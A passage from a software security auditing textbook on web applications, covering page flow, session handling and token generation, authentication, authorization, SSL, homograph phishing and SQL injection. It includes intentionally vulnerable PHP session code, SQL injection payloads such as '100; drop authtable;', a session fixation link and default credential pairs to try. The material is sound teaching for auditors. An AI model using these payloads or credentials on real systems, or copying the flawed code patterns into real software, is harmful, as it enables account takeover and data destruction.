higher layers. In general, if the business logic code is self-contained, it should be easier to write and maintain. It should also simplify the Web application code because it's primarily concerned with maintaining state, displaying output, and verifying authentication and authorization, with the exception of a few straightforward calls to business objects to perform business-oriented tasks. Separating business logic from the rest of the functionality has potential disadvantages, however. If business objects have a sequence of events that must occur in a particular order across multiple user requests, such as a multistep process for making a credit card payment, you effectively have two state machines that have to be kept in sync. The Web tier needs to be robust enough to call the business object methods only in the correct order, regardless of the sequencing of events users attempt. It also needs to reset or roll back the transaction in the business object when errors occur. Business objects becoming out of sync with the Web tier could lead to denial-of-service conditions and security exposures. Threading issues can also be more subtle with business objects. If you have multiple threads or hosts in the Web tier using the same business object at the same time, the potential for race conditions and desynchronization attacks can increase. Web Tier: Model-View-Controller The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1052 Enterprise Web applications often further divide up functionality in the Web tier. This division is often done via the Model-View-Controller (MVC) architecture pattern, which describes a user interface as being composed of three different modules. It's not a Web-specific model; it actually originated in the Smalltalk language and is used for general-purpose user interface design. It's just that the Web development community, or at least the Java Web development community, has embraced the MVC model for enterprise Web application development. Figure 17-4 shows this model. The dashed lines represent an indirect relationship, and the solid lines indicate a direct relationship. The MVC components are described in the following sections. Figure 17-4. Mode- View-Controller (MVC) architecture Model The Model component is software that models the underlying business processes and objects of a Web site. It corresponds to the business logic of an enterprise Web application. In an n-tier architecture with a separate business tier, the Model component refers to the software in the Web tier that's responsible for driving interaction with the business tier. View The View component is responsible for rendering the model's contents into a view for the user. It corresponds to the Web site's presentation logic. Controller The Controller component takes user input and commands the model or View component to act on the input. In a Web application, this component is a piece of code The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1053 that maps Web requests to model actions, and then selects the correct view based on the results of the model's processing. In a multitier MVC Web application, the Controller software handles requests from users. Based on these requests, the Controller calls the correct model action to handle the request. The model then calls business objects in the business tier, which may or may not proceed to call to the back-end data tier. The model interprets responses from the business tier and populates itself with that information. The Controller then chooses the view based on results from the model, and the View component renders the model's data back to the client. 8.4.6 Problem Areas Several security issues are common in most Web applications because of inherent characteristics of HTTP and the Web environment. The following sections cover some general concerns you should be cognizant of when auditing Web code. Client Visibility Keep in mind that all data provided to the client is in a single trust domain, meaning users have total visibility into the client side of the Web application. Attackers can easily view the generated HTML for each transaction as well as other contents of all HTTP transactions, which leads to the following security consequences:  All forms and form parameters can be seen, as can all URLs and URL parameters. Therefore, the site's logic and structure are probably be easy to piece together by observing the layout of files and making a few educated guesses. This information can be useful to attackers as they probe a target Web site, looking for content they can't normally see or trying to attack specific links in a chain of pages. Keep this possibility in mind when evaluating any security mechanism that derives strength from obscuritymeaning the expectation that attackers can't guess the location of a page, figure out the correct sequence of events, or determine the correct variables that need to be submitted.  Hidden tags aren't hidden. If developers attempt to hide a piece of sensitive information by placing it in hidden tags in a dynamically generated form, they can get in trouble. This problem seems obvious enough, but it can surface in odd places. For example, if developers need to send an e-mail to an internal server, they might pass that internal server's IP address to an e-mail script. This type of exposure can also happen when passing a temporary filename that shouldn't have been visible to users, as it could be used later in an exploitable situation. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1054  Web and static content developers occasionally put sensitive or useful information in HTML comments. This oversight isn't likely to be a major vulnerability by itself, but it can definitely lead to exposing information that could assist intruders in leveraging another attack vector. Watch out for comments that include internal IP addresses, filenames and file paths, authentication credentials, or explanations of functionality.  Any client-side code, such as JavaScript, is visible to users, which can often lead to subtle exposures of information. For example, if a piece of JavaScript checks a password to make sure it's in the correct format, attackers could use those same rules to help construct a brute-force attack against the system. Also, client-side code filtering certain characters out of general-purpose input fields often indicates that the Web site's quality assurance (QA) team didn't test the impact of those characters; many QA teams don't try to bypass JavaScript.  HTML obfuscation tricks generally don't work. You can use various tricks to obfuscate the pages' source, but attackers can usually bypass these tricks easily. Attackers can write their own JavaScript that reuses your functions to undo any obfuscation. It's better to focus on security at the server side, not rely on client-side browser tricks.  Remember that users see the content of all error messages the Web application displays. These error messages can contain real pathnames as well as information that can be used in launching other types of attacks, such as SQL injection. Auditing Tip Examine all exposed static HTML and the contents of dynamically generated HTML to make sure nothing that could facilitate an attack is exposed unnecessarily. You should do your best to ensure that information isn't exposed unnecessarily, but at the same time, look out for security mechanisms that rely on obscurity because they are prone to fail in the Web environment. Client Control At any point, client users can construct completely arbitrary requests as they see fit, providing any combination of parameters, cookies, and request headers. Constructing these requests isn't hard and can be done by unsophisticated attackers with tools as simple as a text editor and a Web browser. In addition, several programs act as Web proxies and allow users to intercept and modify requests while they are in transit, making this easy task even simpler. The impact of this flexibility is that the server-side processing must be robust and capable of handling every possible combination and permutation of potential inputs. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1055 Variables can effectively contain anything or even be missing, and page requests can come in any order. Web application developers can't rely on the integrity of any client-supplied information. Keep the following points in mind:  All form and query parameters can be altered, not just the ones that take direct user input. It's common for developers to catch most of the obvious vectors but miss a few seemingly innocuous hidden fields, such as a category number or a language code.  Client-side validation of form input via JavaScript isn't a security mechanism because it can be sidestepped easily. Most developers are now familiar with this fact and test for it, but mistakes still occur. You might see vulnerabilities missed by QA because the client-side interface is tested, not the server-side handler. So client-side code might prevent tests from identifying simple exploitation vectors that are available when requests are issued directly to the server.  Cookies and HTTP request headers can be changed by the client. A Web application should treat them just like it treats any other potentially malicious input from users. Auditing Tip Look at each page of a Web application as though it exists in a vacuum. Consider every possible combination of inputs, and look for ways to create a situation the developer didn't intend. Determine if any of these unanticipated situations cause a page use the input without first validating it. Page Flow A page flow is the progression through Web pages that a users makes when interacting with a Web application. For example, in a Web application that allows you to transfer money from one account to another, the page flow might look something like Figure 17-5. Figure 17-5. Simple page flow [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1056 A user would first browse to the TRansfer_start.php page, then select the source and destination accounts, enter the amount of money to transfer, and click Transfer Money. This takes the user to TRansfer_confirm.php, which provides an opportunity to review the decision, and then click to confirm the transfer. This would then take the user to the dotransfer.php page, which would actually perform the money transfer and display the transaction reference numbers. A common mistake in Web applications is to assume that attackers will request pages in a certain order. Because the client controls all requests it makes, it's entirely possible for the client to perform actions out of sequence. In some situations, this out-of-order sequence can allow attackers to bypass certain security measures and potentially exploit a system. For example, in the preceding page flow, the transfer_confirm.php page is responsible for validating that the source account entered in the transfer_start.php page actually belongs to the user. If an attacker goes straight to the dotransfer.php page, it's possible to bypass this check and potentially transfer money from an account the attacker isn't authorized to use. If the attacker did things only in the order developers intended, this couldn't happen because the transfer_confirm.php page would block the attack. Another page-flow related vulnerability can occur if an application makes an assumption about a variable or an object that a user doesn't have direct access to. For example, say an application places user's account number in the session after a successful login. All future pages in the application implicitly trust the account number's validity and use it to retrieve user information. There should be no possible way that normal use of the site through normal page flow could lead to a bad number getting in the session. However, if attackers can find a page they could call out of sequence, they could change this number in the session. Then they could potentially circumvent security controls and access other customer accounts. Note that this out-of-sequence page need change an account number for only a brief window of time, as attackers could use a second browser or second client with the same session to try to exploit the window. For another example of a page flow problem, say you have a page that only certain types of users are allowed to use. This page performs an authorization check that users must pass. It also makes use of a subsequent page that does more processing but doesn't contain the authorization check. Attackers who wouldn't be allowed to go to the first page could go straight to the second page and perform the unauthorized action. Auditing Tip Always consider what can happen if attackers visit the pages of a Web application in an order the developer didn't intend. Can you bypass certain security checks by The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1057 skipping past intermediate verification pages to the functionality that actually performs the processing? Can you take advantage of any race conditions or cause unanticipated results by visiting pages that use session data out of order? Does any page trust the validity of an information user's control? Sessions As discussed previously, sessions are collections of data stored on the server and tied to a particular user. They are typically created when users log in and then destroyed when users finish using the application. The following sections discuss some issues related to sessions. Session Use During a review, you should try to find every location where each session variable is manipulated. For every security-related session variable, try to brainstorm a technique for bypassing its associated security controls and checks. One thing to look for is inconsistent security checks. If a particular session variable is set in several places, you should ensure that each one does the same validation before manipulating the session. If one location is more permissive than others, you might be able to use that to your advantage when constructing an attack. You should also look for different places in the same Web application that use a session variable for different purposes. For example, the following PHP code is used to display details of an account: # display.php if ($_POST["action"]=="display") { display_account($_SESSION["account"]); } else if ($_POST["action"]=="select") { if (is_my_account($_POST["account"])) { $_SESSION["account"]=$_POST["account"]; display_menu(); } else display_error(); } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1058 First, the user goes to a page to select which account to view. If the user selects a valid account, the account variable in the session is set to reflect that valid account, and the user is presented a menu page with the option of displaying more information on that account. If the user selects an invalid account, an error page is returned, and the session isn't updated. Looking at this page in a vacuum, there's no way to get an account in the session variable account so that you can display other users' account information. However, this excerpt from the same application does present an opportunity for mischief: #transfer.php if ($_POST["action"]=="start_transfer") { $_SESSION["account"]=$_POST["destination_account"]; $_SESSION["account2"]=$_POST["source_account"]; $_SESSION["amount"]=$_POST["amount"]; display_confirm_page(); } else if ($_POST["action"]=="confirm_transfer") { $src = $_SESSION["account"]; $dst = $_SESSION["account2"]; $amount = $_SESSION["amount"]; if (valid_transfer($src, $dst, $amount)) do_transfer($src, $dst, $amount); else display_error_page(); } This code is from a page created for handling transfers from one account to another, and it also makes use of the session. When the user elects to start a transaction, the preceding code stores the destination account, the target account, and the amount of the transfer in the session. It then displays a confirmation page that summarizes the transaction user is about to attempt. If the user agrees to the transaction, the values are pulled out of the session and then validated. If they are legitimate values, the transfer is carried out. The security vulnerability is that both pages make use of the session variable account, but they use it for different purposes, and different security controls surround each use. If an attacker goes to transfer.php first and specifies an action of start_transfer and the account number of a victim in the POST parameter destination_account, the session variable account contains that victim's account number. The attacker could then go to display.php and submit an action of display, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1059 and the display.php code would trust the session variable account and display the details of the victim's account to the attacker. Another problem to look out for is inconsistent error behavior. If an application places a value in a session, and then fails because of an error condition, the value might still be left in the session and could be used through other Web requests. For example, say the code for display.php looks like this: # display.php if ($_POST["action"]=="display") { display_account($_SESSION["account"]); } else if ($_POST["action"]=="select") { $_SESSION["account"]=$_POST["account"]; if (is_my_account($_POST["account"])) display_menu(); else display_error(); } The developer made the mistake of updating the session variable account even if the account doesn't belong to the user. The Web site displays an error message indicating that the account isn't valid, but if an attacker proceeds to submit an action of display to the same page, the response will return the details of the victim's account. Note Study each session variable, and determine where it's manipulated and the security checks for each of its manipulations. Try to brainstorm a way to evade security checks and get your own values in the session variable at a useful time. Session handling vulnerabilities also occur when an attacker can supply a valid session ID to a victim, granting access to the victim's session. This is known as a session fixation attack and it relies on an implementation that does not issue a new session key after a successful login. An attacker can exploit this vulnerability by sending the victim a link with the session ID embedded in the URL, as shown: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1060 http://test.com/login?sessionid= Clicking through this link will bring the victim to a login screen. If the session code accepts the embedded key, the victim will log in with a session key already known to the attacker. Some session implementations don't accept a key that was not supplied by the server, so the attacker may first need to obtain a key by browsing to the site. Session Management As a security reviewer, seeing in-house code handling session management should give you pause. Robust session management has many facets that are very difficult to implement securely. You should budget extra time to review any custom session code. When you're assessing a custom session implementation, ask questions such as the following:  If the client gives the session ID code an unrecognized session token, does it create a new session? If so, does this new session have any security consequences? Would it be possible to attack the back-end session store or use up enough potential session tokens that you could easily guess the ones that will be created?  Is a new session token issued after the user logs on? If not, is it possible to pass a session token in the request string or are there other vulnerabilities that allow the session token to be passed as part of a cross-site scripting attack?  If an attacker launches a brute-force attack against the session mechanism by trying to guess a valid session token, is there any mechanism that detects this behavior or reacts to it?  Is session data load-balanced or shared between multiple Web servers? Is there a potential for security-relevant failure in this mechanism? Are there race conditions with modifications to the same variable at the same time?  How is the session token transmitted? Is it done with a cookie, via hidden Form fields, or by modifications of URI strings? Is there any risk of the session token being exposed through sniffing attacks, Web server and proxy logs, browser histories, and Referer tags?  Is session access code thread-safe? What happens if two clients try to access the session at the same time? Is there any potential for race conditions, or is only one Web page allowed to have the session data structure open at a time?  Is session expiration handled reasonably? Keep in mind that a user's session token quite possibly resides on the client machine after the user is done with your site. If attackers get access to that token via exploitation or cross-site scripting, they could hijack the user's session. Also, if expiration is inconsistently enforced or an implementation flaw affects session timeout, a few days or weeks of activity could leave hundreds of thousands of dormant sessions that attackers could potentially brute-force later. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1061  Can users intentionally destroy their sessions by logging out of the application? Session Tokens As discussed previously, many applications and Web frameworks use a session token to track state and uniquely identify a session. In a good implementation, these tokens are securely generated, long random numbers that prove effectively impossible to predict or reuse after expiration. If session tokens aren't generated by using a solid random number algorithm with enough entropy, the entire site's security can be jeopardized. The simplest, and least secure, scheme for generating session tokens is having a global session token and incrementing it each time a new session is created. With the proliferation of frameworks and languages that handle sessions, using incremental session tokens isn't common now, but they are used occasionally in custom session implementations. The impact is usually severe. If you log in to a site and are assigned the session token X, you know the next user to log in gets the session token X+1. You can then wait around a bit and hijack the next user's session after authentication by submitting the predicted next session token. Code auditors can easily recognize this scheme by observing the source code or monitoring the session tokens the Web site produces. People have come up with a vast number of schemes to generate session tokens. The worst schemes, and the ones to watch for, use easily recognizable and easily predictable information to form the token. If a site uses an e-mail address and a username, or an IP address and a username, as the session token, after you've observed your own token, you're in a good position to start guessing other users' tokens. For example, you could easily brute-force a session token based on concatenating the time of day in seconds and the user's account number. Attackers could try tens of thousands of accounts while probing for a time period during which the site is normally under heavy traffic and has many active users. Keep in mind that attackers can usually brute-force potential session tokens at extremely high speeds because of the stateless nature of HTTP. Also, attackers might be content with getting access to any session at all, not just a particular user they're targeting. A given scheme might make it hard for attackers to access a particular victim's account, but to be safe, the scheme needs to make it difficult for attackers to access any account with a broad-based attack that simply looks for the first success. If you have the time and resources, try to launch one of these attacks yourself by creating small testing scripts that search for valid tokens in a tight loop. Ideally, the session token needs to have a component that's random, unique, and unpredictable. This random component also needs to be large enough that attackers can't simply try a high percentage of the possible combinations in a reasonable The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1062 amount of time. This random component of the session token should be difficult to predict. The linear congruential generator (LCG) random number generators in most general-purpose programming libraries aren't appropriate for this purpose. For example, the numbers generated by the rand() family of functions on a typical UNIX standard library and the Java.util.Random class can be predicted easily, as they use the last result of the random operation as the seed for the next random operation. You might see systems that use sources of data that aren't secure but do transformations on it so that ascertaining how tokens are constructed would be difficult. For example, take a system that uses the time of day concatenated with the user's account number and a random number from a LCG, but MD5 hashes the whole string. You would have a hard time figuring out how to brute-force those session tokens from a black-box perspective, but it's not impossible. Attackers with enough patience and intuition could probably figure this scheme out eventually. Ultimately, although these schemes might be reasonably secure against external attackers, they aren't worth the potential risk of the obscurity being breached, especially when making the system demonstrably secure is simple. If a system is based on a cryptographic algorithm that requires a seed or key, you should evaluate the possibility of an attacker performing an offline attack and discovering the seed or key. For example, if the system generates a secure hash of the time of day combined with a global sequence number for each user, that's a weak seed that can be brute-forced. Even with limited inside knowledge, an offline search could be performed until the attacker figured out the algorithm for constructing the seed. This issue is explored more in Chapter 18(? [????.]), but for the Web environment, you should keep the following points in mind:  If your session token is too short, attackers can simply brute-force itthat is, try every possibility until they hit on an active session.  Time doesn't provide adequate entropy. Time specified with seconds can be brute-forced easily, and HTTP servers usually advertise times with seconds for every response in the Date response header. More precise timeswith milliseconds, for exampleprovide only a small amount of entropy, as attackers likely know the exact second processing occurred.  Simple random number generators, such as an LCG psuedo-random number generator (PRNG), don't offer enough protection. If you seed a typical random number function securely and then pull session tokens from it, attackers can launch an attack by observing session tokens and using them to predict future tokens. Cryptographically random values are needed instead. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1063 Try to determine how session tokens are generated, and attempt to make sure that predicting or guessing a future session token is difficult. If you have the time and resources, it can be worth reverse-engineering or auditing any infrastructure component that handles sessions on behalf of the application, as they aren't always as secure as the developers would hope. Session Token Transmission Another session security concern is secure transmission of the session token. Watch for these issues when you're auditing a Web application:  If the session token is stored in a cookie, make sure the cookie is marked secure and is set only on pages served over SSL. Otherwise, the Web site runs the risk of transmitting session tokens in clear text over the network, which could be a major exposure, depending on the system's environment.  Watch for systems that transfer the session token in a GET-style query variable. These requests run the risk of being recorded in Web server logs and proxy logs, but there's a more subtle problem: If users at your Web site click a link to another Web site, the query string, with the session token, is transmitted to that third-party Web site via the Referer header field. This could certainly be an issue, depending on the Web site's design and whether it can contain links to third-party sites. Keep in mind that cross-site scripting attacks could also be used to capture tokens via the Referer header field. Authentication Keep the following areas of inquiry in mind while examining a Web application's authentication mechanisms:  Try to determine every possible resource on the Web site that's accessible without authentication. Double-check configuration files for extraneous functionality, and make sure there isn't anything accessible that should be protected. Any dynamic content that's available before authentication should be a priority in your audit because it's the content attackers will most likely explore. Any security vulnerabilities in generally accessible content can render the rest of the site's security useless.  Look for simple mistakes in authentication mechanisms. For example, in one application, the programmer didn't distinguish between the empty string "" and NULL in a Java servlet. This issue could be exploited to log in as an unnamed user by providing an empty string for the user name. These kinds of simple mistakes are easy to make, so study the actual login and password verification code line by line when possible. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1064  Check initial authentication interfaces for SQL injection as well as other types of injection issues. If any kind of external authentication system is involved, see whether you can get a machine to attempt to authenticate to a device of your choosing. For example, try usernames of [email protected] or 1.2.3.4\admin and see whether you can elicit any kind of response or packets destined to the machine you specify.  Check for account/password pairs commonly used for administrative, default, and test accounts, such as admin/admin, guest/, guest/guest, test/test, test/test 123, qa/qa, and so on.  Attempt to find a way to discern a legitimate user from an invalid user, perhaps via timing or differences in error messages. If the system allows you to discover valid and invalid users, it's probably an unnecessary exposure of information. Also, look for error messages for locked-out users or special situations that might give out information.  Review account lockout procedures. Keep in mind that HTTP authentication can be performed quickly, so it's susceptible to brute-force attacks. This possibility has to be balanced with the possibility of a denial-of-service resulting from a wide-scale account lockout attack, which could be equally damaging.  Is any form of password strength checking used in the site? Are these rules so strict that they actually make it easier to predict valid passwords?  Review password storage procedures. How is password data managed and stored? Are passwords stored in plain text unnecessarily?  There are two styles of password brute-forcing attacks: the straightforward one, in which attackers attempts to guess user passwords by using a dictionary, and a less straightforward one. Say the system has a maximum of three bad logins before a lockout. Attackers can pick a likely password that someone will have and attempt to try every login with that password. They can do this once across all possible accounts, and they might have reasonable success, depending on the password policies and the size of the user pool.  If authentication is handled by a framework, you should feel comfortable testing that framework for obvious problems. For example, a WebLogic configuration allowed a method of GeT, instead of GET, to completely bypass the framework-based form authentication system. Don't be afraid to get your hands dirty, and don't trust anything. Auditing Tip First, focus on content that's available without any kind of authentication because this code is most exposed to Internet-based attackers. Then study the authentication system in depth, looking for any kind of issue that lets you access content without valid credentials. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1065 Authorization and Access Control Authorization refers to the application components responsible for ensuring that authenticated users have access to only resources and actions to which they're entitled. To assess a system's authorization implementation, you want to determine which privilege levels the system defines and what the possible user roles are. Then you want to figure out what resources each privilege level can access and make sure everything is consistent. Mentally assume the role of each type of user, and then study the code and the available content to determine which resources you can access and whether your access is appropriate. Authorization can be performed in a centralized fashion, with all Web components sharing code that performs permission checks. It can also be decentralized, with each request handler being responsible for making sure the user is authorized to proceed. In either style, it's rare for authorization to be applied consistently in every situation, as it takes just one oversight, such as the following points, to miss something:  If authorization isn't centralized, you're likely to find a mistake in not checking an action of a particular form. Be on the lookout for any situation in which a piece of data is validated in one location but acted on in another location. If you can go directly to the location where the action occurs, you can potentially evade the authorization check. Refer to "Page Flow" earlier in this chapter, as these types of vulnerabilities are related.  Centralized authorization checks have pitfalls, too. Be on the lookout for architectures that have a script that includes an authorization script and a separate script to perform the action. You can often request the action script directly through the Web tree and bypass the authorization checking.  If centralized authorization checks are based on filenames, double-check that there aren't ways to circumvent the check. Consider extraneous PATH_INFO variables, the use of special characters such as %00, or the filename canonicalization issues discussed in Chapter 8(? [????.]).  Again, don't be afraid to test middleware and infrastructure components. It's not uncommon for straightforward mistakes to be made in these components, even in commercial products. Auditing Tip When reviewing authorization, you need to ensure that it's enforced consistently throughout the application. Do this by enumerating all privilege levels, user roles, and privileges in use. Encryption and SSL/TLS The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1066 SSL has been mentioned previously in this book, and this section offers a brief recap. Secure Sockets Layer/Transport Layer Security (SSL/TLS) is an application-layer protocol for securing communications between two clients over a socket connection. It uses certificates to authenticate the connection endpoints and encrypts communications over the socket. SSL allows both connection endpoints to be authenticated via the certificate, although most Web applications only authenticate the server to the client. TLS is an addition to SSL that primarily allows an active plain-text connection to be upgraded to an SSL connection. Authentication in SSL is handled entirely by certificates. Each endpoint contains a list of certificate authorities (CAs) it trusts. Any certificate presented to a client is checked to see whether it's valid and has been signed by one of these authorities. CAs are most apparent to Web users when they see an error message displayed while attempting to connect to an SSL Web site. The site's certificate might be expired; the domain name might not match the certificate exactly (such as www.neohapsis.com versus neohapsis.com); or the signing CA might not be trusted by the client. SSL is typically used when a server authenticates itself to a client by proving it corresponds to the domain name being requested. Additionally, registering a certificate with a trusted CA generates a paper trail and varying degrees of authentication, depending on the type of certificate. It's intended to make Web surfers feel reasonably assured that they're interacting with the correct Web site and their communications (such as personal or financial information) can't be intercepted by third parties. A less typical application of SSL communication is to validate the client to the server. However, this use is growing more common in Web services, in which both the client and server are automated systems. Both ends of the connection validate each other in essentially the same manner described previously. This technique is also useful for validating user connections to extremely critical sites, as it reduces most of the noise from worms and automated probes. Keep the following points in mind when assessing SSL use in Web applications:  SSL versions before SSLv3/TLSv1 have known cryptographic vulnerabilities.  U.S. cryptographic restrictions have historically limited key strength to 40 bits for any exported software. This key size is currently considered insufficient for protection, and the restrictions were lifted in 1996.  Many applications restrict only the login sequence, not the remainder of the session. This practice leaves the session key and all further communications vulnerable to eavesdropping and could result in exposing sensitive information or allowing the session to be hijacked.  Many small applications use self-signed certificates, meaning the browser doesn't trust the CA by default. This approach is vulnerable to a man-in-the-middle attack, as described in Chapter 3(? [????.]), "Operational Review." The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1067 Phishing and Impersonation Attackers tend to follow the path of least resistance. More technical attackers might focus on finding intricate vulnerabilities in a Web application through focused black box testing, but a newer class of Internet criminal has adopted a simpler approach: the phishing attack. For each Web site criminals would like to attack, they construct a fake Web site resembling their target. They then attempt to lure users to that Web site through official-looking e-mails sent to possible users. If users of the site click the e-mail and end up at the faked Web site, they might have difficulty distinguishing it from the real site. Consequently, users can end up being tricked into surrendering credentials or important information that attackers can use at the real site for fraudulent purposes. Phishing attacks can leverage any of a number of vulnerabilities. Cross-site scripting and cross-site tracing are often useful in these attacks, although there are more subtle, obscure ways of phishing. For example, in February 2005, Eric Johanson reported a vulnerability in Mozilla's International Domain Name (IDN) handling (archived at www.mozilla.org/security/announce/2005/mfsa2005-29.html). The core of the vulnerability is that attackers can register a domain name and obtain a trusted SSL certificate for two hostnames that look identical but are actually composed of different characters. This is an example of the Unicode homographic attack described in Chapter 8(? [????.]). The attack involved registering the domain name www.xnpypal-4ve.com, which is rendered in an IDN-compliant browser as paypal.com. This method of encoding non-ASCII domain names is called punycode, and it's identified by any domain name component beginning with an "xn" string. In this attack, the punycode representation inserts a Cyrillic character that's rendered as the first a in paypal.com. The "-4ve" portion of the name contains the encoded character insertion information. This attack resulted in a domain name, an SSL certificate, and a Web site that was almost indistinguishable from the real Paypal site. In response, IDN-compliant browsers changed their handling of these names. They now inform users that the name is an IDN representation, and some browsers disable IDN by default. Of course, attackers still have numerous ways to trick users into falling for phishing attacks. As a reviewer, you need to be on the lookout for any application vulnerabilities that could simplify the phisher's job. 8.4.7 Common Vulnerabilities Certain classes of technical vulnerabilities are common across most Web technologies. Web applications are usually written in high-level languages that are largely immune to the types of problems that plague C and C++ applications, such as buffer overflows and data type conversion issues. Most security problems in programs written in these higher-level languages occur in the places where they interact with other systems or The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1068 components, such as the database, file system, operating system, or network. Some of these technical problems are explained in the following sections. SQL Injection SQL injection, discussed in Chapter 8(? [????.]), is arguably one of the most common vulnerabilities in Web applications. To briefly recap, in SQL injection, a SQL query is constructed dynamically by using user input, and users are capable of inserting their own SQL commands into the query. When reviewing a Web application, try to find every interaction with the database engine to hunt down all potential SQL injection points. Sometimes, you need to augment your testing with black-box methods if the mapping to the underlying database is obscured by an object-oriented abstraction or is otherwise unclear. In general, you want to review every SQL query to make sure it's constructed in a safe fashion. SQL with bound parameters can be considered essentially safe because it forces that user-malleable data out-of-band from the SQL statement. Stored procedures are the next best thing, but be aware of the possibility of SQL injection when they are used. If the stored procedure constructs a dynamic SQL query using its parameters, the application is still just as vulnerable to SQL injection. This means you need source code for the scripts used to initialize the database and create stored procedures for the application, or you have to test their invocation. If the application authors attempt to escape metacharacters in dynamically constructed SQL, they can run into a lot of trouble. First, numeric columns in SQL queries don't require metacharacters to pull off SQL injection. For example, consider the following query: SELECT * FROM authtable WHERE PASSWORD = '$password' AND USERNUMBER = $usernumber Suppose that authtable.USERNUMBER is a numeric column. If users have full control of the $usernumber variable, they could set it to a value such as 100 or 1= or 100; drop authtable;. Note that potentially dangerous SQL injection could occur without the use of any in-band metacharacters. Consequently, escaping metacharacters would have no impact. Escaping metacharacters can be effective for string columns, but it depends on the back-end database server and the metacharacters it honors. For example, if the application escapes single quotes by doubling them, attackers might be able to submit a variable such as \'. It would get converted to \'', which could be interpreted The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1069 as an escaped single quote followed by an unescaped single quote, depending on the behavior of the back-end database server. Another issue is related to escaping metacharacters in user-supplied data. Consider what happens if data in the database actually contains metacharacters. Say a user submits a value containing a single quote, and it's correctly escaped and inserted into the database. If the value submitted is myname ' drop users , the resulting query might be something like this: INSERT INTO mytable id, item VALUES ( 10, 'myname '' drop users --' ); This query is safe, but a problem could happen if that value is retrieved from the database later and used in another dynamically constructed SQL query, as shown in this example: $username = mysqlquery( "SELECT name FROM mytable WHERE id = 10"); $newquery = "SELECT * FROM mydetails WHERE id = '".$username."'"; This query is now exploitable because its metacharacters aren't escaped. It ends up looking like this: select * from my details where id = 'myname ' drop users --' This query causes the users table to be dropped. These types of vulnerabilities are discussed in "Second Order Injection" later in this section. Parameterized Queries Any coverage of SQL injection would be incomplete without some introduction to protective measures. Parameterized queries, one of the two primary measures of preventing SQL injection attacks, use placeholders for variable parameters, and bind the parameter to a specific data type before issuing the statement. This method forces the query data out of-band, preventing the parameter from being interpreted as an SQL statement, regardless of the content. Parameterized queries can be implemented in a number of ways by a data access module or the database. One common form of parameterized query is a prepared statement, which was originally used to improve the performance of SQL databases. Prepared statements allow a query to be compiled once and then issued multiple times with different parameters, thus eliminating the overhead of compilation for repeated queries. This The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1070 compilation also results in binding query parameters to specific data types to assist in optimizing the query execution plan. A parameterized query doesn't need to be implemented as a prepared statement; however, you can treat both as fairly interchangeable for security purposes. Here's an example of a simple parameterized query string: "SELECT * FROM table1 WHERE val1 = ?" The ? character is used as a placeholder for a parameter, although the exact placeholder can vary from implementation to implementation. The query parameterization usually requires parameter type information, but it can also vary between implementations. Because parameterization often includes compilation of the statement, you want to focus on the impact of that process. Specifically, you need to understand how compilation places certain restrictions on what statements can be accepted. Take a look at the following statement: "SELECT * FROM " + tableName + " WHERE value = ?" This statement is still vulnerable to SQL injection if users supply input for the tableName parameter; however, the developer might have no other choice for a dynamic table name. When the statement is compiled, all structural elements of the query must be present in the parameterized query, including table names, column names, and any SQL directives. Effectively, this means parameterized queries can substitute parameters for only a WHERE, SET, or VALUES clause. These three clause cover most SQL queries but miss a number of more complex cases. For example, a query with a WHERE clause might depend on certain values being present. A developer could implement it as follows: "SELECT * FROM table WHERE name = ?" + (param1 != NULL ? " AND col1 LIKE '" + param1 + "'" : "") + (param2 != NULL ? " AND col2 LIKE '" + param2 + "'" : "") + (param3 != NULL ? " AND col3 LIKE '" + param3 + "'" : ""); The developer wants to alter the structure of the WHERE clause in this case, depending on the content of certain parameters. There are safer ways to prepare this query, but the preceding approach is actually quite popular. You often see statements like this in code that allows users to search some portion of a database. Here's a more appropriate form in a parameterized query: SELECT * FROM table WHERE name = ? AND (? <> NULL AND col1 LIKE ?) ... The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1071 This statement is a safe version of the earlier query. However, some problems can't be solved with parameterized queries. The sort order and sort columns are also structural elements because they affect how the query planner compiles a statement. Here's an example: SELECT * FROM table ORDER by col1, col2 ASC You can't substitute col1, col2, or ASC with a parameter (?) in this statement, so changing the sort columns and order requires dynamic SQL or some interesting SQL acrobatics. Stored Procedures A stored procedure is a lot like a prepared statement; both were intended to improve performance by precompiling statements and issuing them as a separate operation. They also add several features that prepared statements lack. Stored procedures are compiled and stored in the database with a persistent name, so they exist indefinitely. They can also introduce procedural language constructs into the database query language, such as loops and branches. Stored procedures have only three potential security issues. First, is the query called securely? Check whether the parameters are bound as they should be or whether the procedure is called like this: "SELECT xp_myquery('" + userData + "')" This example is vulnerable to standard SQL injection if the userData variable is attacker malleable. This mistake might seem unlikely, but it does happen often enough. The usual response from developers is that they thought the stored procedure handled that. So keep your eyes open for any stored procedures that aren't called through a bound parameter interface. Second, are dynamic queries used inside the stored procedure? This usually happens because the developer wants to perform a query that can't be precompiled, as with parameterized queries. So you need to watch for any stored procedures that call EXEC, EXECUTE, or OPEN on a string argument. When you trace them back, generally you find dynamically generated SQL. Fortunately, you can identify these locations quickly with a simple regex search. The third issue isn't database specific, but a problem could happen when stored procedures are implemented in other languages. Many databases allow extension modules, and these modules might have vulnerabilities native to the language they're implemented in. For example, an extension written in C++ could expose memory The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1072 management vulnerabilities accessible via user-supplied SQL parameters. In these cases, you need to audit the extension modules to be certain they contain no vulnerabilities. Second Order Injection Second order injection refers to 